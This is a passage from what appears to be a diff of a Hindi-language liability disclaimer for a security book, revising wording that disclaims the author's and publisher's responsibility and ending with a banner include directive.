एकमात्र रूप से उत्तरदायी होगा, और किसी भी तकनीक या टिप्स को लागू करने का प्रयास करते समय हमेशा पेशेवर परामर्श और सहायता लेनी चाहिए। +> उपयोगकर्ता केवल अपने द्वारा इस पुस्तक में दी गई जानकारी के आधार पर किए गए किसी भी कार्य के लिए जिम्मेदार होगा, और किसी भी तकनीक या सुझाव को लागू करने का प्रयास करते समय हमेशा पेशेवर सलाह और सहायता लेनी चाहिए। > -> इस किताब का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशकों को किसी भी और सभी दायित्वों और जिम्मेदारियों से मुक्त रखने के लिए सहमत होता है जो इस किताब या उसमें निहित किसी भी जानकारी के उपयोग से उत्पन्न होने वाले किसी भी नुकसान, हानि, या चोट के लिए हो सकते हैं। +> इस पुस्तक का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशक को किसी भी और सभी दायित्वों और ज़िम्मेदारियों से मुक्त करने के लिए सहमत होता है जो इस पुस्तक या इसमें निहित किसी भी जानकारी के उपयोग से उत्पन्न होने वाले नुकसान, हानियों या क्षति के परिणामस्वरूप हो सकते हैं। {{#include ../banners/hacktricks-training.md}}